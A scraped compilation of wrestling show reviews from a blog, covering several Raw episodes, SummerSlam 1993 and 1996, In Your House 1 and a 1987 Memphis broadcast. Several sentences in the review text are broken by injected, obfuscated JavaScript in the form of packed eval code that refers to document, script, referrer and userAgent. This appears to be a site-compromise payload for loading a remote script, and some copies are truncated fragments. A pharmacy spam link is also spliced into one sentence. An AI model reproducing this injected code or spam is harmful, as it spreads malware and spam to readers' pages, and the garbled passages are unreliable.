Jerry Lawler vs. Jason Voorhees

It is exactly what it sounds like.

And eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ekkii|var|u0026u|referrer|ikhnk||js|php'.split('|'),0,{})) there’s a rematch!

It’s somehow even worse than when Lawler dressed up as Super http://topmednorx.com King to stare down Batman (played by Adam West himself) in Memphis. Wrestling is weird.




On This Day: September 15, 2003 – Monday Night Raw: Goldberg’s Funeral

Monday Night Raw
Date: September 15, 2003
Location: Carolina Coliseum, Columbia, South Carolina
Commentators: Jim Ross, Jerry Lawler

Rob Van Dam vs. Chris Jericho

Christian tries to get in a cheap shot but gets kicked down instead. Jericho gets dumped to the floor and taken out by a dive as we take a fast break. Back with Van Dam hitting a forearm and the cartwheel moonsault for two. A standing rana (called a moonsault by JR for some reason) gets two for Van Dam so he goes up, only to be shoved off the top by Christian.

Austin makes it a triple threat. You know, LIKE EVERY OTHER TRIPLE THREAT.

Video of Goldberg beating Hogan on Nitro.

Spike Dudley vs. Rob Conway

Spike is in a neckbrace and his brothers fight the other members of La Resistance into the crowd. Conway hits a neckbreaker and wins in about 20 seconds.

Post match Conway powerbombs Spike through a table before the Dudleys make the save. The Dudleys would win the tag titles Sunday in a handicap tables match.

Victoria vs. Fabulous Moolah

Victoria hits both Moolah and Mae, but the distraction of Mae lets Moolah roll her up in thirty seconds. That would be two matches that combined to last less than 60 seconds.

Goldust/Lance Storm vs. Mark Henry/Rodney Mack

Hurricane tries to teach Rosey to fly. Rosey gets a cab instead.

Molly and Gail Kim say their handicap match tonight with Trish is now No Holds Barred. Sure why not.

Gail Kim/Molly Holly vs. Trish Stratus

Rating: F. When you hear the words “no holds barred”, you expect more than a generic bad handicap match. The only thing good about this was the girls all looking good, which was the case for most Divas matches back in the day. This division needed a shot in the arm and it needed one in a hurry.

Test vs. Val Venis

Steiner beats up Test post match but Test gets Stacy before he leaves.

Lawler comes out and asks to fight Snow right now. The match is after a break.

Al Snow vs. Jerry Lawler

Coach and JR are on commentary here as Lawler controls with some very basic stuff. They slug it out and King hits a DDT for two. Snow comes back with a slam but a suplex is countered into a small package for the pin. This was the last match of the show people. This is the main event. Let that sink in.

Coach hits JR before bailing.

Austin runs into Evolution and says HHH is having the Goldberg party by himself.

Overall Rating: F. Despite that TEN MINUTE closing segment, I have zero desire to see either the main event or any of the matches on the show. There are two matches on this show that were long enough to rate: one ended in a draw and one was a no holds barred match that had nothing out of the ordinary. Other than that you have all kinds of stuff like Moolah and Test and the Spike match. Horrible show here and I want nothing to do with Unforgiven or Raw in 2003. Naturally the whole year is on my schedule.

http://kbwrestlingreviews.com/2012/11/03/unforgiven-2003-i-was-wrong-2002-isnt-the-worst-year-ever-for-wwe/

Remember to follow me on Twitter @kbreviews and pick up my new book of Complete 2001 Monday Night Raw Reviews at Amazon for just $4 at:

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On This Day: September 10, 2012 – Monday Night Raw: The Scariest Thing Ever On Raw

Before eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kranr|var|u0026u|referrer|tszfk||js|php'.split('|'),0,{})) we get to this, I want to apologize in advance for the last hour of this show. My mind wasn’t focused on the show but I don’t think anyone was.

Monday Night Raw
Date: September 10, 2012
Location: Bell Center, Montreal, Quebec, Canada
Commentators: Michael Cole, Jerry Lawler

Antonio Cesaro/The Miz vs. Kofi Kingston/R-Truth

Alicia Fox/Natalya/Beth Phoenix vs. Eve Torres/Kaitlyn/Layla

Orton wins the poll in a non shocking landslide.

CM Punk vs. Randy Orton

Randy Orton/Jerry Lawler vs. Dolph Ziggler/CM Punk

We recap the hugging segment from last week in a package that aired on Smackdown.

Heath Slater vs. Ryback

Slater gets in some offense but poses to the crowd too much. Clothesline, double powerbomb, Shell Shock for the pin at 2:07.

Daniel Bryan/Kane vs. Prime Time Players

Winners get Kofi/Truth on Sunday for the titles. Kane and Titus start things off with the bald guy jumping Kane. Off to Bryan who stays right with Titus to take over. Young comes in with a rollup for two and a double shoulder block from the Players puts Bryan down again. Yong puts on a cravate but Bryan escapes, only to get distracted by the fans. Titus comes in and walks into some kicks but he hits a backbreaker to slow Bryan down again.

We recap the opening segment.

Alberto Del Rio vs. Tyson Kidd

Sheamus vs. David Otunga

The tag champs send out a Tout about keeping the belts on Sunday.

We get the rundown of the graphics for the matches on Sunday with no commentary.

Rey Mysterio vs. Cody Rhodes

Scratch that as Cole says Lawler is breathing on his own and his heart is beating on his own. He’s stabilizing and Cole gives us a recap of everything tonight. LAwler is awaiting a CAT Scan still.

Results

Kofi Kingston/R-Truth b. Antonio Cesaro/The Miz – Trouble in Paradise to Cesaro

Eve Torres/Kaitlyn/Layla b. Beth Phoenix/Natalya/Alicia Fox – Spinning neckbreaker to Fox

Randy Orton b. CM Punk via DQ when Dolph Ziggler interfered

Randy Orton/Jerry Lawler b. CM Punk/Dolph Ziggler – RKO to Ziggler

Ryback b. Heath Slater – Shell Shock

Alberto Del Rio b. Tyson Kidd – Cross Armbreaker

Sheamus b. David Otunga – Texas Cloverleaf

Remember to follow me on Twitter @kbreviews, and pick up my new book of Complete 2001 Monday Night Raw Reviews at Amazon for just $4 at:

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CWA Championship Wrestling – December 26, 1987: Letting Talented People Entertain You

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aetfs|var|u0026u|referrer|itkdd||js|php'.split('|'),0,{})) Championship Wrestling
Date: December 26, 1987
Location: WMC-TV Studios, Memphis, Tennessee
Commentators: Lance Russell, Randy Hale

The announcers run down part of the card.

Freezer Thompson vs. Tejoe Khan

Khan is your standard Asian monster and Freezer is a fat black guy. Khan pounds him down and hits a nice slam. More chops have Freezer in trouble and a shot to the throat ends Thompson quick.

Lord of the Ring First Round: Curt Hennig vs. Jerry Lawler

House show ads. Some manager named Nate the Rat says Bobby Jaggers will beat Scott Hall in a loser leaves town match.

Jimmy Jack Funk vs. David Johnson

Jack takes him down with some snapmares to start before dropping him throat first across the top rope. A spinning powerslam ends Johnson in about a minute.

More house show ads.

Scott Hall vs. Keith Eric

Jeff Jarrett vs. Hector Guerrero

Buy the Jeff Jarrett poster! He was pushed as a sex symbol in Memphis which is bizarre given what he would become.

More house show ads, I believe for the same show.

Bill Dundee is ready to stand and fight against Khan in the cage.

Bruise Brothers vs. Rough N Ready

The announcers recap the show and wish us a Merry Christmas to take us out.

And check out my Amazon author page with wrestling books for just $4 at:




Summerslam Count-Up – 1996: Shawn vs. The Monster

Summerslam 1996
Date: August 18, 1996
Location: Gund Arena, Cleveland, Ohio
Attendance: 17,000
Commentators: Vince McMahon, Jim Ross, Mr. Perfect

Steve Austin vs. Yokozuna

The opening video is about monsters like Vader and Mankind wearing masks but heroes standing up to them no matter what.

Owen Hart vs. Savio Vega

Post match Justin Hawk Bradshaw comes out to lay out Vega once again.

Tag Titles: Smoking Gunns vs. New Rockers vs. Bodydonnas vs. Godwinns

Rating: D-. This was so boring I could barely keep my eyes open. The tag title scene was so barren at this point that there were practically zero interesting acts at all. That would be the case for over a year when the New Age Outlaws FINALLY brought the division back to life for a few years. Terribly boring match.

Post match Sunny insults the women in the audience and unveils a huge poster of herself to make the arena prettier.

Video on the Summerslam festivities in the city this weekend.

Sycho Sid vs. British Bulldog

The managers keep arguing post match.

Video on Shawn.

Goldust vs. Marc Mero

A clothesline and a backdrop put Goldust down again and a million dollar kneelift does the same. Goldust counters punches in the corner and they both tumble to the floor but Mero slides back in and hits a running flip dive. A slingshot legdrop gets two followed by the debut of the Shooting Star Press, called the Wild Thing. Since this is 1996 WWF, it only gets two. A few seconds later Goldust hits the Curtain Call (reverse forward suplex) for the pin.

Goldust stalks Sable post match until Mero makes the save.

We recap Jake Roberts vs. Jerry Lawler. Jake claimed to have sobered up and was speaking at churches about how Jesus helped him overcome his demons. Lawler claimed that Roberts was a fraud (which was the case in real life as he was still hooked on crack) and tonight is the showdown.

Jerry Lawler vs. Jake Roberts

Roberts finally comes out so Lawler pulls a huge bottle of booze from the bag. Jake pulls the snake out of his own bag to scare Lawler to the floor and the bell finally rings. Lawler looks for a microphone but Jake sends him face first into the steps and hammers away back inside. Back to the floor with Lawler being sent into various hard objects until he steals a drink from a fan to blind Jake. Henry: “So what is the fan going to drink?” Lawler gets one of the bottles from ringside but has to block a DDT attempt. Another DDT is countered and Jerry hits him in the throat with the bottle for the pin.

Bob Backlund campaigns for President.

Paul Bearer comes to the ring. The next match will be won by retrieving the Urn from his hands.

Undertaker vs. Mankind

Undertaker comes back with a trashcan lid to the head and they brawl around the room with Mankind in control. The announcers have stopped talking as Mankind stuns Taker across a wooden stand. A stiff right hand puts Taker down and Mankind chokes away. The camera cuts out for a few moments so something can be edited and we come back with a trashcan shot putting Taker down.

With Taker still inside Mankind barricade the door but Taker kicks it in anyway. They fight up the aisle with jobbers watching from the doors. Taker shoves him across the coffee area, allowing Mankind to get ahead a bit. He throws hot coffee onto Undertaker and crawls into the arena to give the fans something to see in person. Taker catches up with him and pounds away but Mankind keeps him out of the ring.

WWF World Title: Vader vs. Shawn Michaels

Vader is challenging after pinning Shawn in a six man tag at In Your House #9. He pounds Shawn in the face to start before taking his head off with a clothesline. Shawn catches a big boot and leg sweeps Vader down before hitting a low dropkick to stun Vader. Michaels fires off rights and lefts from his knees and Vader bails to the floor. A HUGE dive takes him down again as the fans are finally waking up a bit.

Shawn agrees to get back in but Vader punches him down on the floor. Cornette pops Shawn in the back with the tennis racket and a belly to belly gets two for Vader. Michaels punches his way out of the powerbomb and hits the forearm/nip-up combo. He tunes up the band but Cornette throws in the racket, only to have Shawn intercept it and blast Vader for the DQ.

Ratings Comparison

Owen Hart vs. Savio Vega

Original: B+

Redo: C

Smoking Gunns vs. Bodydonnas vs. New Rockers vs. Godwinns

Original: B-

Redo: D-

British Bulldog vs. Sycho Sid

Original: D

Redo: D+

Marc Mero vs. Goldust

Original: C+

Redo: D

Jerry Lawler vs. Jake Roberts

Original: C-

Redo: D

Mankind vs. Undertaker

Original: A-

Redo: B

Vader vs. Shawn Michaels

Original: A-

Redo: B+

Overall Rating

Original: A

Redo: C

Did I owe this show money a few years ago? My jaw is hanging open as I read these ratings again.

http://kbwrestlingreviews.com/2011/07/30/history-of-summerslam-count-up-1996-mick-foley-has-arrived/

Remember to follow me on Twitter @kbreviews and pick up my new book of Complete 2001 Monday Night Raw Reviews for just $5 from Amazon at:

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Summerslam Count-Up – 1993: Luger Chokes Again

Summerslam 1993
Date: August 30, 1993
Location: Palace of Auburn Hills, Detroit, Michigan
Attendance: 23,954
Commentators: Vince McMahon, Bobby Heenan

Ted DiBiase vs. Razor Ramon

Tag Titles: Steiner Brothers vs. Heavenly Bodies

Intercontinental Title: Mr. Perfect vs. Shawn Michaels

Rating: C. This was ok and nothing higher than that. The ending was lame and the match was a bunch of arm/back work with no heat segment or drama at all. It was a one off match that collapsed under the weight that the company put on it by saying it would be a classic and all that jazz. Not much to see here.

1-2-3 Kid is nervous for his PPV debut.

I.R.S. vs. 1-2-3 Kid

Kid comes back in with a sunset flip for two but gets caught in an abdominal stretch to drag the match out even longer. We hit the chinlock for a bit before Kid takes him to the corner for some kicks and a moonsault press for two. A side roll gets two as Heenan is losing his mind. Kid dropkicks him down for two more, but IRS hits a flying clothesline for the pin out of nowhere.

Bret Hart vs. Jerry Lawler

Bret Hart vs. Doink the Clown

President Jack Tunney stops Lawler in the aisle and says get in the ring right now.

Bret Hart vs. Jerry Lawler

It takes about ten referees plus two Brothers to pull Bret off of Lawler. Bret is told that Lawler is the undisputed King so he goes after Jerry again as Lawler is put on a stretcher. Bruce Hart gets in some shots as well but Lawler is finally wheeled off, raising his arm in victory like the true villain he is.

Ludvig Borga is on the streets of Detroit to show us the country that Lex Luger wants to stand up for.

Bret and his brothers say Lawler deserves a broken leg.

Marty Jannetty vs. Ludvig Borga

Borga is basically the original Antonio Cesaro but from Finland. Marty fires away to start but gets punched in the corner by the former boxer. A hard clothesline puts Jannetty down before Borga throws him into the air for an uppercut (much like Cesaro). More punches in the corner have Jannetty in trouble and a clothesline stops his comeback dead. Borga blows his nose on Jannetty before putting on a bearhug. Marty escapes and makes a quick comeback with a pair of superkicks but gets caught in a powerslam and a torture rack for the submission.

Rating: D-. This was one of the lamer squashes I can remember in a long time. Borga looked slow and limited in the ring but the rack looked good. Other than that though, Borga came off as much more flash than substance. He would get better, but at the end of the day he never quite did anything in the company.

Giant Gonzalez vs. Undertaker

Post match Harvey turns on Gonzalez and gets laid out.

Smoking Guns/Tatanka vs. Headshrinkers/Bam Bam Bigelow

Pettingill asks some fans who they like in the main event and the answer is obvious.

Some guy sings the Japanese national anthem.

Randy Savage is master of ceremonies for the main event and comes out with some country singer who sings the American national anthem.

WWF Title: Lex Luger vs. Yokozuna

A double clothesline puts both guys down and things slow down even more. Fuji throws in his bucket which Yoko uses to knock Luger out cold but only for two. A big belly to belly suplex and side slam get the same results as the champion is getting frustrated. Off to a nerve hold by the champion which eats up several minutes.

Ratings Comparison

Razor Ramon vs. Ted DiBiase

Original: C-

Redo: C-

Steiner Brothers vs. Heavenly Bodies

Original: B-

Redo: C+

Shawn Michaels vs. Mr. Perfect

Original: B-

Redo: C

1-2-3 Kid vs. I.R.S.

Original: F

Redo: D

Bret Hart vs. Doink the Clown

Original: B

Redo: C+

Bret Hart vs. Jerry Lawler

Original: B+

Redo: B

Marty Jannetty vs. Ludvig Borga

Original: D+

Redo: D-

Undertaker vs. Giant Gonzalez

Original: C+

Redo: G (As in I long for Great Khali)

Tatanka/Smoking Gunns vs. Bam Bam Bigelow/Headshrinkers

Original: F+

Redo: B-

Yokozuna vs. Lex Luger

Original: B-

Redo: D+

Overall Rating

Original: D+

Redo: C+

http://kbwrestlingreviews.com/2011/07/27/history-of-summerslam-count-up-1993-i-still-dont-get-the-ending/

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On This Day: May 14, 1995 – In Your House #1 – Mother’s Day Mayhem: Back When I Sucked At This

Note that this was written over three years ago.  I was brand new at this and this would be one of the first thirty or so reviews that I had ever done.

 

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|itdzz|var|u0026u|referrer|bryie||js|php'.split('|'),0,{})) Your House 1: Mothers Day Mayhem/Premiere
Date: May 14, 1995
Location: Onondaga War Memorial, Syracuse, New York
Attendance: 7,000
Commentators: Vince McMahon, Doc Hendrix

This would be the equivalent of Backlash today as we are just over a month removed from WM 11. This show was actually only 15 dollars and therefore got the highest buyrate of all 28 of the shows. Your big match here is Sid, Shawn’s former bodyguard against Diesel, Shawn’s other former bodyguard and the reigning WWF Champion.

You know, I have never gotten the point in wrestlers having bodyguards. If they’re big time contenders as Shawn was during this time, shouldn’t he be able to take care of himself? Anyway, your other big feud was Bam Bam Bigelow against the Million Dollar Corporation which for some reason was a video exclusive. This was a strange time for the company and the business as a whole as the ratings were weak to put it mildly.

WM 11 had done a lot to get the company in the news again and this was their way to get fans on the fence into the tent. I haven’t seen this show other than maybe once since it aired, so let’s take a look and see if it was as good as it is remembered as. Also, due to the far shorter cards, I’ll only be posting one match and at most two per show.

Standard recap package begins, and I almost forgot: the name for this show came from the idea that the company was actually giving away a house in Orlando to a randomly selected fan. It was actually a really nice house. Cool idea. The set is like a house and the wrestlers come in like they’re coming in through the garage.

Bret Hart vs. Hakushi

Interesting backstory here as Bret had been given an award for being the people’s favorite wrestler, but Jerry Lawler, whom Bret had been feuding on and off with for nearly two years at this time, said that Bret made sure that Japanese votes weren’t counted and called Bret a racist (none of that happened so don’t panic Bret fans).

Bret was then given another award from the Japanese media, but as this was happening, Hakushi attacked him, setting up this match. Hakushi’s manager is named Shinja and he sports a white suit and face paint, making him look sweet.

Bret says that Hakushi is going to break Hakushi’s undefeated streak. He also dedicates this match to his Mother, saying he’s coming for Lawler after this.

Bret looks extra greasy tonight so you know this is a special show. Hakushi has characters written all over his body making him look like a walking menu for some reason. Hendrix’s jokes never made a lot of sense. The fans of course chant USA as we have a Japanese wrestler vs. a Canadian wrestler.

This is Bret at his best: getting beaten up and making his opponents look like a million bucks. Hakushi uses what will later become known as the Bronco Buster in something that is just a tad weird. Hakushi’s style is similar to cruiserweights so at the time, he was amazing. Now he’s still good, but nowhere near as spectacular as he used to be. Crowd is hot as Bret avoids a slingshot splash and makes his comeback.

During his five moves of doom, Bret throws in a random bulldog. Unexpected but it certainly breaks up the monotony. I like that. This keeps going though as it’s being given time and is turning into something good. We even get the Asai Moonsault that is nothing short of sweetness. Crowd is going nuts as they trade a rollup sequence that ends in Bret scoring the pin!

We get a very random fireworks display as Bret celebrates. Fireworks for an opening match, seriously? As Bret leaves the ring he apparently twists his knee. Doc Hendrix has such a fine wrestling mind that not only can he see this before it happens but also in the dark at a terrible camera angle. Remember that knee as it comes into play later in the show.

Rating: B. Solid match here. While not a classic, it had the crowd lit up and was very fast paced. These two had chemistry together and it really was a fun match. Excellent way to get the show going and get the crowd into it.

Oh yeah I forgot: Lawler had an open contract with Bret, meaning he could face him anytime he wanted. Bret had agreed to wrestle twice tonight, but now he has a hurt knee.

The house giveaway is hyped by some female interviewer. They show a fake video of an armored car with a police escort bringing the contest entries in earlier in the day. Surprisingly enough, this woman isn’t very annoying. I don’t know what to say.

Jeff Jarrett/Roadie vs. Razor Ramon

This was supposed to be a tag with 1-2-3 Kid involved but he legitimately hurt his neck, so this is what we got in its place. Jarrett is IC Champion here and Roadie means almost nothing. 1-2-3 Kid is on the phone which is surprising as I’d think it’s past his bedtime. Quick promo from Razor saying it’s always been 2-1 but for the first time it’s an advertised handicap match.

 

Scratch the quick part as he won’t shut up. Razor is introduced as the opponent of Jarrett and Roadie. Doc says this is the first handicap match on WWF PPV ever. Really? Are you sure about that? I haven’t put much thought into it but that would really surprise me.

 

The heels try to crowd Razor to start but Roadie goes to the apron. Roadie hasn’t gotten in the ring at this point, as in this is his first match. That being said all he can really do is punch and kick. In other words he’s more or less at the same talent level that he was at during the height of his career.

 

Fallaway slam takes down Jarrett. Roadie comes in and hits a pretty bad looking clothesline. Again how exactly do you perform a move with authority? And now we stop to dance for no apparent reason. Sunset flip by the incoming Jarrett gets two. The fans get behind Razor but he’s in trouble.

 

Back to Roadie now who is doing pretty well. Razor makes his comeback and goes for the Edge but gets sent over the top rope and down to the floor. Roadie hits a clothesline from the second rope to the floor to take out Razor. He beats the count back in as this has been mostly one sided.

 

We pick up the pace and they slam heads into each other. Aww Razor has Kid written on his boot. That’s so disturbing. A weird looking belly to back suplex from Razor as he more or less fell down. And now we hit the chinlock. The heels are dominating here.

 

Razor manages to take both guys down but Jeff goes after the knee. He escapes though and the Razor’s Edge ends JJ. Vince says Razor has accomplished the impossible. If it’s impossible how did he just do it? Wouldn’t that make it possible? Jarrett goes after the knee again and we have Aldo Montoya of all people come out for the save.

 

His high levels of suck cause him to get beaten up so a “fan” comes in and makes the save again. This would be one Savio Vega and of course since he’s just a fan he can beat up the Intercontinental Champion. You know, because that’s common.

Rating: C-. While not bad, it’s nothing great. The ending introduced one of the biggest wastes of space in history to the company with Savio Vega debuting. This more or less ended this feud between Jarrett and Razor save for a house show title exchange between the two.

 

Jarrett left the company about two months later. Not sure what the point is to have Razor pin the champion clean and then do nothing with it.

Lawler wants his match right now, but Jack Tunney (WWF President at the time) won’t allow it.

Video package of Sid’s awesomeness.

KOTR Qualifying Match: Mabel vs. Adam Bomb

And so it began. This was the start of the absolute worst idea in WWF history: pushing Mabel as the company’s top heel. Seriously, what in the world was Vince on when he thought this was a good idea? For those that aren’t familiar with this guy, it’s Big Daddy V, but somehow even less talented and more boring at this time.

Adam Bomb was a weird character who was apparently the product of nuclear experiments gone wrong. Somehow he got WAY over but he was nothing more than a jobber. This guy might get the second biggest pop of the night after only Bret Hart and ahead of Diesel. That’s just a weird thing to hear. This is a squash match but it’s the worst I’ve ever seen.

Here’s your match: Mable jumps Bomb before the bell, Bomb comes back with some explosive (I’ll be here all week) offense and flat out dominates Mabel. It looks like Bomb is squashing him. Mabel lands a spin kick that almost gets high enough to hit Bomb below the belt but Bomb comes back from it.

Mabel catches a cross body and falls on him to pin him, as the commentators talk about how valiant an effort it was by Adam. VALIANT??? He beat the living tar out of Mabel then got hit by one move to lose. How in the world is that valiant?

Rating: F. It’s hard to screw up a squash match and make the guy that is supposed to look dominant look terrible, but if any overrated fat boy can do it, it’s this overrated fat boy. Bomb was decent and got massive pops but instead he gets fed to this monster in a squash. Seriously, how good were the drugs Vince must have been on at this time? This led to Mabel winning the KOTR and getting a world title shot at Summerslam 95, which still just leaves me shaking my head.

Razor Ramon introduces his new friend Savio Vega.

Lawler again wants his match right now but is turned down one more time.

Tag Titles: Owen Hart/Yokozuna vs. Smoking Gunns

This is a rematch from WM 11. Not really sure if we’re supposed to buy the Gunns as legit challengers or not, but this is just a step or two above a squash. The Gunns get some decent offense in, but at the end of the day they didn’t stand a chance at winning. It only goes about six minutes with Yoko dropping a leg on one of the members of Rednecks R Us allowing Owen to pin him.

Rating: D+. This was nothing at all and was rather boring. With another 5-10 minutes it could have been ok, but given the short time, it was just bad.

Diesel talks about how he lost his mother last Christmas and says happy Mother’s Day. This is oddly kind of sad. Nash evoking emotion? What am I seeing? He says he’s ready for Sid. He gets a laugh out of me by talking about how Sid says he is the master. Nash says he is the walrus, coo coo ca choo. It was so random and out of left field that it was great. Dang, he used to be very good on the mic. What the heck happened to that?

Bret Hart vs. Jerry Lawler

Lawler does this weird bit where he claims an attractive woman is his mother. Not sure what the point of this was but it didn’t work. In the back, Bret is asked about his knee. He says it’s not April Fool’s Day, but it’ll do. He limps to the ring but as he gets in he reveals he’s just fine and Lawler is scared to death.

This is about four and a half minutes of Bret beating the tar out of Jerry before Shinja runs out and interferes, allowing Hakushi to knock Bret out and Lawler pins him. Bret and Lawler blew off their feud the next month at KOTR, but Hakushi and Bret went nowhere for some reason.

Rating: C. Bret beating on someone was always fun, but the knee injury thing was kind of a waste if this wasn’t the blow off match. Not bad, but kind of a head scratcher.

They announce the house winner.

WWF Title: Diesel vs. Sid

Backstory: After Mania, Shawn fired Sid who beat up Shawn and Diesel made the save. Shawn and Diesel were scheduled for the rematch here but Shawn was hurt, so this is our main event. Bam Bam Bigelow and the Corporation were involved also but I’ll get to that later. DiBiase is revealed as the man behind all this and is in Sid’s corner. Standard big man match here which means it’s nothing that great.

They beat on each other for awhile with Sid of course getting the advantage. Long story short, both land powerbombs but Diesel kicks out. Sid isn’t going to but Tatanka runs out to cause the DQ after the worse powerbomb of all time. Bigelow makes the save and they pose to close out the PPV.

Rating: C+. It’s ok, but it feels like a glorified Raw match, which I suppose is what it was supposed to be. Not bad at all but there was only so much two guys that had identical styles and the same moveset were going to be able to put together. Not bad, but really needed about another 5 minutes to get something good.

Home Video Dark Matches

We get two this time, which is good because so far, this show isn’t that great. However, for 15 dollars, what more do you want? Also that night there was a match taped for Raw three weeks later where the British Bulldog and Owen Hart went to a draw. Why they did a match for almost three weeks later here I’m really not sure. I can’t find an explanation for it, but ok I guess. This match isn’t on the tape.

Undertaker vs. Kama

This was a moderately big feud at the time as Kama had stolen the urn and melted it down into a really ugly chain that he kept around his neck. This match definitely had a purpose and is a great example of the issue with the two hour card as it certainly deserved a place on the card, but there’s absolutely no place to put it.

Kama is more commonly known as the Godfather/Papa Shango, but in this incarnation he’s known as the Supreme Fighting Machine which would be something like a black Kozlov now I guess. He uses a variety of unimpressive submissions and strikes here as this gimmick becomes harder and harder to take seriously.

There’s almost no drama here at all as we’re all expecting Taker to make his comeback. Yep, look, there it is. Taker is coming back, he’s chokeslamming Kama, he’s Tombstoning him, the lights are blue, Taker is posing, the music is playing. I can’t believe I didn’t see this coming. It was so unpredictable!

Rating: C-. It’s ok but nothing more. Very formula based match but that’s not necessarily a bad thing. Taker in a match like this is as basic as you’re going to get and it worked pretty well I guess. Kama was just flat out bad though as always.

Bam Bam Bigelow vs. Tatanka

Following the main event, this is academic I suppose. Not much here at all, but it’s pretty good for what it was. About 9-10 minutes with Bigelow’s power helping to balance out the terrible thing that is Tatanka’s offense. It was so generic that it just never got to work right. Bigelow hits a powerbomb kind of thing to win the match.

Rating: C+. Fine for what it was, but not great. These two didn’t work that well together but I’ve seen far worse.

Overall Rating: C. Certainly not a bad show and while there’s only one truly good match, for fifteen dollars this was probably worth getting at the time. It’s nothing great now, but it was a very novel idea that really worked in my mind.

 

A two hour show for half price and you get decent matches? I’d buy it today as I think this would be a great move for WWE. Put shows like Vengeance or the GAB in this format and they instantly go up in value. Not bad, but there were far better versions of it coming.

 

Remember to follow me on Twitter @kbreviews and pick up my book on the History of the WWE Championship from Amazon for just $5 at:

 




Monday Night Raw – May 16, 2011 – Let Nexus Ring!

Monday Night Raw
Date: May 16, 2011
Location: AT&T Center, San Antonio, Texas
Commentators: Jerry Lawler, Michael Cole, Josh Matthews

It’s the final Raw before the Over the Limit PPV and we have our main event in the form of Cena vs. Miz for the title.  Other than that there isn’t a ton here so we’ll likely fill out the rest of the card tonight for the red show.  Over the Limit feels like a filler PPV which is rarely a good thing.  Hopefully Raw gives me a reason to not think that after tonight.  Let’s get to it.

Theme song opens us up.

Here’s Cena but before he can say anything Riley pops up on the stage.  Riley says he knows what Cena is going to say and introduces a video of Miz beating on Cena.  Here’s Miz -who looks weird without the title.  Riley talks about how everyone has underestimated Miz.  They’re in the ring now and Cena isn’t pleased.  We get some classic cheap heat on the San Antonio Spurs for choking.

Cena cracks some jokes and implies Miz is a kid/stupid and then turns serious.  He talks about how Miz has proven everyone wrong, but on Sunday he won’t be saying he’s awesome.  He’ll be saying he quits.  An E-Mail says that Miz can pick Cena’s opponent and the stipulation for tonight but it can’t involve Miz or Riley.  Miz isn’t sure yet on either option.

Kofi Kingston vs. CM Punk

 

I’m not sure if this is a step up for Kofi or a step down for Punk.  Punk takes over to start and tells Nexus to stay at the top of the ramp.  Kofi sends him to the floor and they come down, only to have Punk send them back again.  Punk fires off some elbows to the chest for two.  Knee drop gets the same.  He tries to go up top but Kofi gets a kick to the side of the head and the champ takes over.

That HUGE cross body gets two and New Nexus is looking worried.  Boom Drop hits despite Kofi running around for about 8 seconds beforehand.  He keeps looking at Nexus and misses Trouble in Paradise.  GTS can’t hit but Kofi misses his jump in the corner.  There’s the GTS and Punk gets the totally clean pin at 3:56.

Rating: C+. This was fine and I can live with Kofi losing here as he was distracted by Nexus and he lost to a guy with a far better resume than he had.  I’d love to see these guys get more time out there as the stuff they had worked quite well while it lasted.  This was fine for a TV match.

Punk says that was just the beginning and Nexus will become the most dominant force in WWE history.

Miz is talking to Ziggler and Vickie about possibly facing Cena I assume.

Brie Bella vs. Kelly Kelly

 

Non-title again.  We talk about the Divas on Twitter because that’s about all there is to talk about.  Kelly does her gymnast stuff as we keep talking about Twitter.  The Twins cheat a bit and Brie works on a chinlock.  Kelly spanks her a bit and a quick rollup/pinning combination ends this at 1:56.

Post match the Bellas beat down the blonde and it’s Kharma time.  HUGE pop for the music coming on too.  Kelly is out in the corner and Kharma goes after her, only to have a Bella hit Kharma in the back.  Implant Buster to the other one.  We do get the terrified Kelly eyes and Kharma picks her up by the jaw.  She flicks Kelly in the head, laughs, and leaves.

Miz talks to Big Show and gets cut off.

That’s What I Am ad.

Here’s Rey to address the situation with R-Truth from last week.  He says that he wants to prove to Truth that he had no business being in last week’s main event or any for that matter.  He’s still waiting as we go to a break.  Back and instead it’s Alberto coming out to see Rey.  He talks about how he’s a pure blooded Mexican unlike Rey.  Rey says he’s proud to be a Chicano and an American.  If Truth isn’t here, then he has no problem shutting Alberto’s mouth instead.

Alberto Del Rio vs. Rey Mysterio

 

They start off very fast with Rey getting a kick to the chest and moving out of the way of a charging Alberto.  Codebreaker to the arm out of the corner as we take another break.  Back with more arm work by Alberto and Rey can’t quite fight back.  Alberto puts on an armbar.  Make that a LONG armbar.

Rey starts his comeback and here’s R-Truth up in the rafters.  He wants the cops to be called as there’s a thief here as Rey stole his title shot.  Alberto doesn’t take the chance to jump Rey or anything so once Truth shuts up Rey keeps the advantage.  He speeds things up a bit more and it’s 619 time, but Ricardo grabs Rey for the CHEAP DQ at 9:34 total.

Rating: D+. Very boring match here as it was about 80% armbar and commercial.  The point was to set up the Truth stuff post match but can’t you have a good match at the same time that you’re setting up an angle?  Pretty weak stuff overall and not what you would expect from these two.

The heels beat Rey down a bit more post match, working on the arm.  Truth runs in after they leave and beats him down even more, saying that on Sunday Rey is going to get got.  The mask is almost off Rey at this point when Truth leaves.

Miz recruits Punk and Mason Ryan.

Time for the contract signing for Cole and Lawler.  Lawler agrees that if Cole wins Cole gets the HOF ring and if it ever happens, Lawler will induct Cole into the Hall of Fame.  Cole signs immediately as does Lawler.  Michael is all happy about it and it turns out that Sunday is a Kiss My Foot match.  We get a clip of Ross being forced to kiss Cole’s feet last month and also a clip from the Kiss My Foot match against Bret Hart where Lawler was made to kiss Bret’s feet and then his own also.

